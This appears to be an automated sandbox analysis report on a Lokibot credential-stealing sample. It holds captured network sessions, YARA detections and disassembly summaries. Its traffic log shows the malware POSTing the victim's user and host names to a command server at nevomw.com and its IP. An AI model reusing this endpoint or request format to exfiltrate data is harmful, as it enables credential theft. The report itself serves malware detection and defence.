Dec 2, 2020 11:53:28.995225906 CET	1381	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:29.048046112 CET	1381	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:29.124566078 CET	1383	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.6	49840	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:29.419858932 CET	1385	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:29.472934961 CET	1385	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:29.546129942 CET	1390	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 7108 Parent PID: 5832

General

Start time:	11:52:28
Start date:	02/12/2020
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe'
Imagebase:	0xec0000
File size:	667648 bytes
MD5 hash:	2AAA15E28835FEDA9A2E223D82DB2126
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.363844302.0000000003341000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 4852 Parent PID: 7108

General

Start time:	11:52:38
Start date:	02/12/2020
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0x8e0000
File size:	667648 bytes
MD5 hash:	2AAA15E28835FEDA9A2E223D82DB2126
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.480912778.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000002.607799523.0000000000E68000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.476321253.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.452594690.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.549778212.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.546020230.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.414092067.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.491795139.0000000000E85000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.562835408.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.563787570.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.481769783.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.474650127.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.477261856.0000000000E85000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.529649981.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.480003007.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.485355648.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.479061979.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.446798245.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.450970355.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.490732616.0000000000E85000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.446675906.0000000000E7D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.519148526.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.472912647.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.565557733.0000000000E7D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.517673183.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.396032754.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.560853517.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.419428408.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.535977726.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.486325651.0000000000E85000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.493532930.0000000000E85000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.533197865.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.420351505.0000000000E7D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.532205941.0000000000E84000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.416818180.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.489824103.0000000000E85000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.450013817.0000000000E7C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.488133602.0000000000E85000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 7108 Parent PID: 5832 SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exeCOMMON

Executed Functions

Function 07AC4BA2, Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.369889414.0000000007AC0000.00000040.00000001.sdmp, Offset: 07AC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 034d15d052c367e68a6da97dbb2c68f14ab33922f246caa539e255b077115e18
Instruction ID: 43d45b86b58e187a7c06b2f4403f2625458cf8aedfc0cc8b2147107b080b77cd
Opcode Fuzzy Hash: 034d15d052c367e68a6da97dbb2c68f14ab33922f246caa539e255b077115e18
Instruction Fuzzy Hash: 9C22E2B4915258DFDB64DF64C858BECBBB1BF4A304F208199D419AB361CB70AE85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 017BB681, Relevance: 6.1, APIs: 4, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 017BB6F0
GetCurrentThread.KERNEL32 ref: 017BB72D
GetCurrentProcess.KERNEL32 ref: 017BB76A
GetCurrentThreadId.KERNEL32 ref: 017BB7C3

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 7fb4d70b69028441e4398169b2d253a2bd5ba2f53adb3a16c9266e56f844f872
Instruction ID: 709b626f7c6bd3eaed8673a34022889238a650f4a607cbc1466939a43f36cc62
Opcode Fuzzy Hash: 7fb4d70b69028441e4398169b2d253a2bd5ba2f53adb3a16c9266e56f844f872
Instruction Fuzzy Hash: 855154B49046488FDB14CFA9D588BDEFBF1FF48314F24846AE519A7250C774A888CF61

Uniqueness

Uniqueness Score: -1.00%

Function 017BB690, Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 017BB6F0
GetCurrentThread.KERNEL32 ref: 017BB72D
GetCurrentProcess.KERNEL32 ref: 017BB76A
GetCurrentThreadId.KERNEL32 ref: 017BB7C3

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 10c161236580c7579b04dd3c6767e75aa1a1511c8552bddc54d60b17f31f89da
Instruction ID: fdca4f975e55dc3965340f96880980ff480044802c04b1760b10b614d497ac01
Opcode Fuzzy Hash: 10c161236580c7579b04dd3c6767e75aa1a1511c8552bddc54d60b17f31f89da
Instruction Fuzzy Hash: 955153B49046488FEB14CFA9D588BDEFBF0EF48314F24846AE519A7250D774A888CF61

Uniqueness

Uniqueness Score: -1.00%

Function 07AC8F92, Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

)9H, xrefs: 07AC90D9
r&', xrefs: 07AC9106

Memory Dump Source

Source File: 00000000.00000002.369889414.0000000007AC0000.00000040.00000001.sdmp, Offset: 07AC0000, based on PE: false

Similarity

API ID:
String ID: )9H$r&'
API String ID: 0-4283692356
Opcode ID: b0c1c3cdc223af56bd1218ec9d294f3351119ba0070ebf86224dc034923b5606
Instruction ID: 13e1b48bc24a2576b9d59dc7373e8c562e65428c216575b0fa6bb6491b9dc878
Opcode Fuzzy Hash: b0c1c3cdc223af56bd1218ec9d294f3351119ba0070ebf86224dc034923b5606
Instruction Fuzzy Hash: DB5168B9E00219DFCB04CFA9D8409EEBBB2FF89310F10856AD415AB754DB35AD46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 017B9690, Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 017B98D6

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7db5d508229258835cd18d191a4a050c0bc79ac699e244971fe79b4af622850c
Instruction ID: e0239cc40035c41413f1f034d98461c1bbbae42211e9dfe28648f444e7684314
Opcode Fuzzy Hash: 7db5d508229258835cd18d191a4a050c0bc79ac699e244971fe79b4af622850c
Instruction Fuzzy Hash: B27133B0A00B058FD764DF2AD184B9AFBF5FF88218F008929D65AD7B44DB34E9458F91

Uniqueness

Uniqueness Score: -1.00%

Function 017BFCEC, Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 017BFE0A

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 6f606cd194bd9614aeb37ae028597a956e2a2a24d0b179cbc8232cc246dc9247
Instruction ID: 73bec4b789bdb10141798b99bf18b1714bbe75fe2863cd6d182dbb1d31d06c29
Opcode Fuzzy Hash: 6f606cd194bd9614aeb37ae028597a956e2a2a24d0b179cbc8232cc246dc9247
Instruction Fuzzy Hash: EF51CFB1D00309DFDB14CFA9C984ADEFBB5BF48710F24812AE819AB214D7749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 017BFCF8, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 017BFE0A

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: f5514632e83abbbedb30f76c78f17c242e1c979cec0c666e1e7bee808bf445c2
Instruction ID: 0373abdab6d2a3aaca1ad6e6ec7ab9732838e5fc063903f2837ef932fce8847a
Opcode Fuzzy Hash: f5514632e83abbbedb30f76c78f17c242e1c979cec0c666e1e7bee808bf445c2
Instruction Fuzzy Hash: 9E41CFB1D003099FDB14CFA9C984ADEFFB5BF48714F24822AE819AB214D7749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 017B38A8, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 017B5421

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 686b45687bc7aa3e736508e9aeffcd8b97bd1bb49961d95606b55e0fb578552a
Instruction ID: 0d823334f7dc07520f6b4f62e02344dacf17504a3241aa9161ca3a10984d1708
Opcode Fuzzy Hash: 686b45687bc7aa3e736508e9aeffcd8b97bd1bb49961d95606b55e0fb578552a
Instruction Fuzzy Hash: A641CF70D0465CCEDB25CFA9C984BCEFBB5BF49308F248069D508AB251DBB96985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 017B536E, Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 017B5421

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 46e6572ff5cd6befec8002760f08d2a5179170cdc8989fe889d46707ebf438a6
Instruction ID: 34adfe2a83bc637bf20f82a9064e4ce26e50c7653bfba341dc66fd13313184f7
Opcode Fuzzy Hash: 46e6572ff5cd6befec8002760f08d2a5179170cdc8989fe889d46707ebf438a6
Instruction Fuzzy Hash: 6E41E270D04618CFDB24CFA9C984BCEFBB1BF48308F248069D508AB255DB755986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 017B8192, Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000004B), ref: 017B8205

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 05127df86c44a64ab9f940d84b00943e0c88859d67fb23f873dc0d9861401885
Instruction ID: 827991c466cceeb56e51177e039b9a38c1c76c7e237b4fac00265ac07448df1a
Opcode Fuzzy Hash: 05127df86c44a64ab9f940d84b00943e0c88859d67fb23f873dc0d9861401885
Instruction Fuzzy Hash: 5E312571906384CFEB21DF69D4883EABFF8EB54354F18806DD444A3285C7389985CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 017BB8B2, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 017BB93F

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e8066fe91bc420e0e23c70791ee0188e658906ad64c4534f59da82873634fa34
Instruction ID: 0174a8e70530b71c79ba1f24d242064be766934fc51d13fa4633d0c258eb31fb
Opcode Fuzzy Hash: e8066fe91bc420e0e23c70791ee0188e658906ad64c4534f59da82873634fa34
Instruction Fuzzy Hash: 7C21DFB5905219EFDB10CFA9D984AEEBBF4FB48320F14842AE954A3210D374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 017BB8B8, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 017BB93F

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c997a7caa71d2ee6f30a54ae910ae6d4fc7bb7a1e7041961a39083a7ac8a6237
Instruction ID: 1aa458ad48a2fb2b5579c65cce9a0290c191d77509056c82639306faba842a5c
Opcode Fuzzy Hash: c997a7caa71d2ee6f30a54ae910ae6d4fc7bb7a1e7041961a39083a7ac8a6237
Instruction Fuzzy Hash: 6621E2B59042099FDB10CFA9D984BDEFBF8FB48320F14841AE914A3310D374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 017B92A8, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,017B9951,00000800,00000000,00000000), ref: 017B9B62

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9137b3099708b30ddf75564edc7259c48b6a2d2b5b2e31014c060f666459efa8
Instruction ID: 039ef34ea3f509385b1852df90048c89ad5c1e818941a80acf86cc632eee0306
Opcode Fuzzy Hash: 9137b3099708b30ddf75564edc7259c48b6a2d2b5b2e31014c060f666459efa8
Instruction Fuzzy Hash: C91114B69043498FDB10CF9AC584BDEFBF4EB48314F10852AEA25A7200C374A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 017B9AF0, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,017B9951,00000800,00000000,00000000), ref: 017B9B62

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9bd78f557d2a7cb1178f4de530658cf4ff78df25c53b1458bc2707087bf82a6b
Instruction ID: caf7e3028afd946ccd734ecec2c11f9af23835de9a1c217370b29f3202d1d1a7
Opcode Fuzzy Hash: 9bd78f557d2a7cb1178f4de530658cf4ff78df25c53b1458bc2707087bf82a6b
Instruction Fuzzy Hash: 6F21F2B69002098FDB10CFAAC484BEEFBB4EB88314F14852AD929A7200C374A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 017BFF38, Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 017BFF9D

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: de266bd45e898d18e5a4c5df33b1c091248d414754e38d6fb5597fcf7706a1d6
Instruction ID: 1936b606ebbaa6fe63d7bba5028ce11f50ad657271da134e9b248358b81d99bb
Opcode Fuzzy Hash: de266bd45e898d18e5a4c5df33b1c091248d414754e38d6fb5597fcf7706a1d6
Instruction Fuzzy Hash: 5411F2B58043099FDB10DF99D989BDEFBF8EB49724F20845AE954A3340C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 017B9870, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 017B98D6

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 13ae85114c90b6e6290a13328e9abd601fd68c6048c272da6729590a78ca5966
Instruction ID: 96e6669538246848f4c7c29422e837c05e6a30fcf1d27e40e1f65f31ea04527d
Opcode Fuzzy Hash: 13ae85114c90b6e6290a13328e9abd601fd68c6048c272da6729590a78ca5966
Instruction Fuzzy Hash: AD11D2B5C006498FDB10CF9AD444BDEFBF4EB89324F14852AD929B7600D375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 017BFF40, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 017BFF9D

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: f8208fdbbc711c00a742c650df94e9b3b0790267a4e5b5757b8f10de514b164f
Instruction ID: 3c67e196681be57c0b45a96f5e8e68663879d199d779ad2720e50f5988644d65
Opcode Fuzzy Hash: f8208fdbbc711c00a742c650df94e9b3b0790267a4e5b5757b8f10de514b164f
Instruction Fuzzy Hash: 3611E2B58042499FDB20CF99D988BDEFBF8EB49724F20851AE955A7340C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07AC5FC3, Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.369889414.0000000007AC0000.00000040.00000001.sdmp, Offset: 07AC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 569268a6ad9a11f5ca25a53f5f476da5d7f0c95ac3dd72c306ef270c50e8fa9b
Instruction ID: df28109336c5c7755c3e1a138e6dde72d52a58663b43e5c0f7b03b241441745c
Opcode Fuzzy Hash: 569268a6ad9a11f5ca25a53f5f476da5d7f0c95ac3dd72c306ef270c50e8fa9b
Instruction Fuzzy Hash: C2C148F4805205DFDB00DF55C588AADBBFAFF8A318F199158E414AB266C779E884CF60

Uniqueness

Uniqueness Score: -1.00%

Function 07AC6018, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.369889414.0000000007AC0000.00000040.00000001.sdmp, Offset: 07AC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c54733d26dd4881293285387eac566a9a1f2f913e906121e769eddeaa35f7b8
Instruction ID: fe647d9ab82ab497c3799404fe2116ed79fd8cae15302d85814ccb03e9f7c967
Opcode Fuzzy Hash: 5c54733d26dd4881293285387eac566a9a1f2f913e906121e769eddeaa35f7b8
Instruction Fuzzy Hash: CDC148F4805205DFDB00DF55C588AADBBFAFF8A318F199198D4146B266C77AE884CF60

Uniqueness

Uniqueness Score: -1.00%

Function 07AC6028, Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.369889414.0000000007AC0000.00000040.00000001.sdmp, Offset: 07AC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9d2340919773272cfe52e2e0bfe627e0dc1c9ad60fbf9ff0a9d05075424551e
Instruction ID: f046f2a21ebce7afece79b6723fc4cee72edec1341daed96d1e3ccd9372a3a19
Opcode Fuzzy Hash: b9d2340919773272cfe52e2e0bfe627e0dc1c9ad60fbf9ff0a9d05075424551e
Instruction Fuzzy Hash: D0C138B4805105DFDB00DF55C588AADBBF6FF8A318F159098D4146B266C776E884CB60

Uniqueness

Uniqueness Score: -1.00%

Function 07AC6047, Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.369889414.0000000007AC0000.00000040.00000001.sdmp, Offset: 07AC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54ed57ecc8b52d205d3fda23b8f27763020a7b9fdbfe92517455bedccb53347f
Instruction ID: dcd9e9cfddb296078cdd6b52cd8521a3147b37fb0278b4504b2c2df9473bbcc7
